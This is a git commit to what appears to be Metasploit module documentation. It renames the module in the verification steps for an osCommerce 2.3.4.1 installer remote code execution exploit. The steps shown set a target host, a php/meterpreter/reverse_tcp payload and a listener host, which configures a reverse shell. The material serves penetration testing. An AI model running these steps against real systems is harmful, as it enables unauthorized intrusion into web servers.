Update oscommerce_installer_unauth_code_exec.md

GSoC/Meterpreter_Web_Console
Daniel Teixeira 2018-04-06 13:05:14 +01:00 committed by GitHub
parent f50b42ec52
commit 09bbbf82ba
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 1 additions and 1 deletions

View File

@ -5,7 +5,7 @@ osCommerce version 2.3.4.1 is vulnerable to remote code execution. If the `/inst
## Verification Steps ## Verification Steps
1. Download and install [osCommerce 2.3.4.1](https://www.exploit-db.com/apps/ce2796b352d6e0fb4e9f03866ae98541-oscommerce-2.3.4.zip) 1. Download and install [osCommerce 2.3.4.1](https://www.exploit-db.com/apps/ce2796b352d6e0fb4e9f03866ae98541-oscommerce-2.3.4.zip)
2. `use exploit/multi/http/oscommerce` 2. `use exploit/multi/http/oscommerce_installer_unauth_code_exec`
3. `set RHOST IP` 3. `set RHOST IP`
4. `set PAYLOAD php/meterpreter/reverse_tcp` 4. `set PAYLOAD php/meterpreter/reverse_tcp`
5. `set LHOST IP` 5. `set LHOST IP`